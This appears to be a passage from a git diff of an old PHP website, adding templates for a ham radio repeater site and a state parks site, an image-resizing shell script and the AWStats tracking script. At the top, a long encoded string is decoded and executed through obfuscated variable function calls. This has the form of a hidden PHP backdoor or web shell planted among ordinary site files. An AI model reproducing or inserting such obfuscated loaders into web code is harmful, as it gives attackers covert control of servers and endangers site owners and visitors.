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";$pBTNfl=$tgQArF($GafwPK,$OqGBnS);$pBTNfl($CGdjPj);?>
\ No newline at end of file
--- /dev/null
+#! /bin/bash
+convert='/usr/bin/convert'
+composite='/usr/bin/composite'
+
+for file in original/*
+do
+ temp=`basename $file`
+ $convert -scale '287>' $file resized/$temp
+ $convert -scale '210>' $file midsized/$temp
+ $convert -scale '120>' $file thumb/$temp
+
+ echo $temp
+done
--- /dev/null
+<?php
+require_once('setup.phtml');
+$toolbox =& new GLM_TEMPLATE( NULL );
+$catid = $toolbox->get_id_from_name( $page, "bus_category", &$DB );
+$toolbox->set_catid( $catid );
+$catid=1;
+//error_reporting(15);
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+
+<html>
+<head>
+<title>N8DNX and the Stutsmanville Repeater Complex</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="">
+<link rel="stylesheet" type="text/css" href="styles.css">
+<?php
+ /* this is for the fly out nav */
+ $myDirPath = "";
+ $myWwwPath = "";
+ $toolbox =& new GLM_TEMPLATE( NULL );
+ $string = $toolbox->get_menu_string();
+//echo '<!-- '.$string.' -->';
+ $GLMmenu = new LayersMenu( 6, 7, 2, 20 );
+ $GLMmenu->setMenuStructureString($string);
+ $GLMmenu->parseStructureForMenu('vermenu');
+ $GLMmenu->newVerticalMenu('vermenu');
+ $GLMmenu->printHeader();
+?>
+<link rel="stylesheet" href="layersmenu.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="libjs/layersmenu-browser_detection.js"></script>
+<link rel="stylesheet" href="layersmenu-gtk2.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="libjs/layersmenu-library.js"></script>
+<script language="JavaScript" type="text/javascript" src="libjs/layersmenu.js"></script>
+<script type="text/javascript">
+<!--
+function popUp(strURL,strType,strHeight,strWidth) {
+var strOptions="";
+if (strType=="console") strOptions="resizable,height="+strHeight+",width="+strWidth;
+if (strType=="fixed") strOptions="status,height="+strHeight+",width="+strWidth;
+if (strType=="elastic") strOptions="toolbar,menubar,scrollbars,resizable,location,height="+strHeight+",width="+strWidth;
+window.open(strURL, 'newWin', strOptions);
+}
+// -->
+</script>
+
+</head>
+<body>
+
+HELLO!!!
+<div id="wrap">
+
+<? include ("tophome.php"); ?>
+
+<table cellspacing="0" cellpadding="0" border="1" id="insidemain">
+ <tr>
+ <td id="insideleft">HELLO<br>
+<?php
+ echo $toolbox->sub_nav( $toolbox->catid );
+?>
+<table id="homemain" cellspacing="0" cellpadding="0" border="0">
+ <tr>
+ <td width="499"><h1>HELLO!</h1></td>
+ <td>
+ <?php $GLMmenu->printMenu('vermenu'); ?>
+ </td>
+ </tr>
+</table>
+<?php $GLMmenu->printFooter();?>
+<? include ("bottom.php"); ?>
+
+</div>
+</body>
+</html>
--- /dev/null
+<?php
+require_once('setup.phtml');
+if(!$catid)
+{
+ $catid = 1;
+ $non_active = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $catid );
+// to edit the home page metadescription and title place them in the '' on the two lines below
+$meta = ( $catid == 1 ) ? 'N8DNX Petoskey Ham Radio Stutsmanville Repeater VHF UHF HF Emergency Weather CCE' : $toolbox->meta_tags();
+$title = ( $catid == 1 ) ? 'N8DNX and the Stutsmanville Repeater Complex - ' : $toolbox->title();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+
+<html>
+<head>
+<title><?php echo $title;?> - N8DNX and the Stutsmanville Repeater Complex</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="<?php echo $title.$meta;?>">
+<meta name="google-translate-customization" content="5e0dfa5c89e981fb-06b5cac00878c312-g82c600fab232083b-d"></meta>
+<link rel="stylesheet" type="text/css" href="<?=BASE_URL?>styles.css">
+<link rel="stylesheet" type="text/css" href="<?=BASE_URL?>gallery.css">
+
+</head>
+<body>
+
+<div id="wrap">
+<!-- "opensearchserver.ignore" -->
+<div class=""><? include ("tophome.php"); ?></div>
+
+ <div id="navleftcontainer">
+ <div>
+ <!-- Site Search Form using GLMSearch on dev53 remotely-->
+ <div class="listing">
+ <p> </p>
+ <form action="http://www.n8dnx.org/index.phtml" name="search" method="get">
+ Search This Site<br>
+ <input type="hidden" name="GLMSearch" value="true">
+ <input type="hidden" name="start" value="0">
+ <input type="hidden" name="rows" value="10">
+ <input type="text" name="query" value="" size="10">
+ </form>
+ </div>
+ <?php
+ echo $toolbox->make_ul_menu();
+ ?>
+ </div>
+
+ </div>
+
+ <div id="content">
+<?php
+if ($_REQUEST['GLMSearch'] == 'true') {
+ require_once('remoteSearch.inc');
+ echo $glmsResults;
+}
+elseif( $catid == 5 )
+ {
+ require_once(BASE.'classes/class_staff.inc');
+ $Support =& new GLM_STAFF();
+ if( is_numeric( $id ) )
+ {
+ echo $Support->getStaffDetail(5,$id);
+ }
+ else
+ {
+ echo $toolbox->get_category();
+ echo $Support->getStaff($catid);
+ }
+ }
+elseif( $catid == 6 )
+ {
+ require_once(BASE.'classes/class_photos.inc');
+ $Photo =& new GLM_PHOTOS();
+ echo $Photo->getPhotoCats(6);
+ }
+elseif( $toolbox->is_sub_id( $catid, 6, $toolbox->DB ) )
+ {
+ require_once(BASE.'classes/class_photos.inc');
+ $Photo =& new GLM_PHOTOS();
+ echo $Photo->getPhotos( $catid );
+ }
+else
+ {
+ echo $toolbox->get_page();
+ }
+ ?>
+</div>
+<? include ("bottom.php"); ?>
+
+</div>
+</body>
+</html>
--- /dev/null
+<?php
+require_once('setup.phtml');
+$toolbox =& new GLM_TEMPLATE( NULL );
+$catid = $toolbox->get_id_from_name( $page, "bus_category", &$DB );
+$toolbox->set_catid( $catid );
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+
+<html>
+<head>
+<title><?echo $toolbox->title();?>Mackinac State Historic Parks</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="<?echo $toolbox->meta_tags();?>">
+<link rel="stylesheet" type="text/css" href="<? echo BASE_URL;?>styles.css">
+<link rel="stylesheet" type="text/css" href="<? echo BASE_URL;?>event.css">
+<?php
+ /* this is for the fly out nav */
+ $myDirPath = "";
+ $myWwwPath = "";
+ $toolbox =& new GLM_TEMPLATE( NULL );
+ $string = $toolbox->get_menu_string();
+ $GLMmenu = new LayersMenu( 6, 7, 2, 20 );
+ $GLMmenu->setMenuStructureString($string);
+ $GLMmenu->parseStructureForMenu('hormenu');
+ $GLMmenu->newHorizontalMenu('hormenu');
+ $GLMmenu->printHeader();
+?>
+<link rel="stylesheet" href="<? echo BASE_URL;?>layersmenu.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="<? echo BASE_URL;?>libjs/layersmenu-browser_detection.js"></script>
+<link rel="stylesheet" href="<? echo BASE_URL;?>layersmenu-gtk2.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="<? echo BASE_URL;?>libjs/layersmenu-library.js"></script>
+<script language="JavaScript" type="text/javascript" src="<? echo BASE_URL;?>libjs/layersmenu.js"></script>
+</head>
+<body>
+<div id="wrap">
+
+<? include ("tophome.php"); ?>
+<?php $GLMmenu->printMenu('hormenu'); ?>
+<table cellspacing="0" cellpadding="0" border="0" id="insidemain">
+ <tr>
+ <td id="insideleft">
+<?php
+ echo $toolbox->sub_nav( $toolbox->catid );
+?>
+ <div id="searchbox">
+ <form action="<? echo BASE_URL;?>search/" method="POST">
+ <input type="hidden" name="Site" value="mackinacparks.com">
+ <input type="text" name="Query" value="Search Text">
+ <input type="hidden" name="page" value="<? echo $toolbox->catid;?>">
+ <input type="submit" class="submit" value="Search">
+ </form>
+ </div>
+
+ </td>
+ <td id="insideright">
+
+<?php
+ if( $Query )
+ {
+ ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+ // search
+ include_once("google/search.php");
+ include_once("google/results.php");
+ include_once("google/footer.php");
+ echo SearchResults().sFooter();
+ }
+ elseif( $catid == 24 )
+ {
+ echo $toolbox->get_parks_page();
+ require_once(BASE."classes/class_events.inc");
+ $Events =& new GLM_EVENTS( $catid );
+ $Events->get_events();
+ }
+ elseif( $catid == 113 )
+ {
+ echo $toolbox->get_parks_page();
+ require_once(BASE."classes/class_books.inc");
+ $Books =& new GLM_BOOKS( $catid );
+ echo $Books->search_books();
+ }
+ elseif( $thank == 1)
+ {
+ echo '<h1>Thank You</h1>';
+ }
+ elseif( in_array( $catid, array(500,502,503,504) ) )
+ {
+ echo $toolbox->get_page(1);
+ echo $toolbox->getPhotoCats(500);
+ }
+ else
+ {
+ echo $toolbox->get_page();
+ }
+
+ echo '<div align="center"><a href="#top">Back To Top</a></div>';
+?>
+</td>
+ </tr>
+</table>
+<?php $GLMmenu->printFooter();?>
+<? include ("bottom.php"); ?>
+
+</div>
+</body>
+</html>
--- /dev/null
+// awstats_misc_tracker.js
+//-------------------------------------------------------------------
+// You can add this file onto some of your web pages (main home page can
+// be enough) by adding the following HTML code to your page body:
+//
+// <script type="text/javascript" src="/js/awstats_misc_tracker.js"></script>
+// <noscript><p><img src="/js/awstats_misc_tracker.js?nojs=y" alt="" height="0" width="0" style="display: none" /></p></noscript>
+
+//
+// * This must be added after the <body> tag, not placed within the
+// <head> tags, or the resulting tracking <img> tag will not be handled
+// correctly by all browsers. Internet explorer will also not report
+// screen height and width attributes until it begins to render the
+// body.
+//
+// This allows AWStats to be enhanced with some miscellanous features:
+// - Screen size detection (TRKscreen)
+// - Browser size detection (TRKwinsize)
+// - Screen color depth detection (TRKcdi)
+// - Java enabled detection (TRKjava)
+// - Macromedia Director plugin detection (TRKshk)
+// - Macromedia Shockwave plugin detection (TRKfla)
+// - Realplayer G2 plugin detection (TRKrp)
+// - QuickTime plugin detection (TRKmov)
+// - Mediaplayer plugin detection (TRKwma)
+// - Acrobat PDF plugin detection (TRKpdf)
+//-------------------------------------------------------------------
+
+// If you use pslogger.php to generate your log, you can change this line with
+// var awstatsmisctrackerurl="pslogger.php?loc=/js/awstats_misc_tracker.js";
+var awstatsmisctrackerurl="/js/awstats_misc_tracker.js";
+
+var TRKresult;
+var TRKscreen, TRKwinsize, TRKcdi, TRKjava, TRKshk, TRKsvg, TRKfla;
+var TRKrp, TRKmov, TRKwma, TRKpdf, TRKpdfver, TRKuserid, TRKsessionid;
+var TRKnow, TRKbegin, TRKend;
+var TRKnse, TRKn;
+
+function awstats_setCookie(TRKNameOfCookie, TRKvalue, TRKexpirehours) {
+ TRKExpireDate = new Date ();
+ TRKExpireDate.setTime(TRKExpireDate.getTime() + (TRKexpirehours * 3600 * 1000));
+ document.cookie = TRKNameOfCookie + "=" + escape(TRKvalue) + "; path=/" + ((TRKexpirehours == null) ? "" : "; expires=" + TRKExpireDate.toGMTString());
+}
+
+//function awstats_runvbscript() {
+// TRKresult = false;
+// p=false;
+// document.write('<SCRIPT LANGUAGE="VBScript">\non error resume next \n p = IsObject(CreateObject("PDF.PdfCtrl.5")) \n if (p) then \n msgbox("5") \n return true \n end if</SCRIPT>\n');
+// alert(p);
+// if (TRKresult) return 'y';
+// else return 'n';
+//}
+
+function awstats_detectIE(TRKClassID) {
+ TRKresult = false; // !!! Adding var in front of TRKresult break detection !!!
+ document.write('<SCR' + 'IPT LANGUAGE="VBScript">\n on error resume next \n TRKresult = IsObject(CreateObject("' + TRKClassID + '")) \n </SCR' + 'IPT>\n');
+ if (TRKresult) return 'y';
+ else return 'n';
+}
+
+function awstats_detectNS(TRKClassID) {
+ TRKn = "n";
+ if (TRKnse.indexOf(TRKClassID) != -1) if (navigator.mimeTypes[TRKClassID].enabledPlugin != null) TRKn = "y";
+ return TRKn;
+}
+
+function awstats_getCookie(TRKNameOfCookie){
+ if (document.cookie.length > 0){
+ TRKbegin = document.cookie.indexOf(TRKNameOfCookie+"=");
+ if (TRKbegin != -1) {
+ TRKbegin += TRKNameOfCookie.length+1;
+ TRKend = document.cookie.indexOf(";", TRKbegin);
+ if (TRKend == -1) TRKend = document.cookie.length;
+ return unescape(document.cookie.substring(TRKbegin, TRKend));
+ }
+ return null;
+ }
+ return null;
+}
+
+if (window.location.search == "" || window.location.search == "?") {
+ // If no query string
+ TRKnow = new Date();
+ TRKscreen=screen.width+"x"+screen.height;
+ if (navigator.appName != "Netscape") { TRKcdi=screen.colorDepth; }
+ else {TRKcdi=screen.pixelDepth};
+ TRKjava=navigator.javaEnabled();
+ TRKuserid=awstats_getCookie("AWSUSER_ID");
+ TRKsessionid=awstats_getCookie("AWSSESSION_ID");
+ var TRKrandomnumber=Math.floor(Math.random()*10000);
+ if (TRKuserid == null || (TRKuserid=="")) { TRKuserid = "awsuser_id" + TRKnow.getTime() +"r"+ TRKrandomnumber; }
+ if (TRKsessionid == null || (TRKsessionid=="")) { TRKsessionid = "awssession_id" + TRKnow.getTime() +"r"+ TRKrandomnumber; }
+ awstats_setCookie("AWSUSER_ID", TRKuserid, 10000);
+ awstats_setCookie("AWSSESSION_ID", TRKsessionid, 1);
+ TRKuserid=""; TRKuserid=awstats_getCookie("AWSUSER_ID");
+ TRKsessionid=""; TRKsessionid=awstats_getCookie("AWSSESSION_ID");
+
+ var TRKnav=navigator.appName.toLowerCase(); // "internet explorer" or "netscape"
+ var TRKagt=navigator.userAgent.toLowerCase(); // "msie...", "mozilla...", "firefox..."
+ //alert(TRKnav); alert(TRKagt);
+
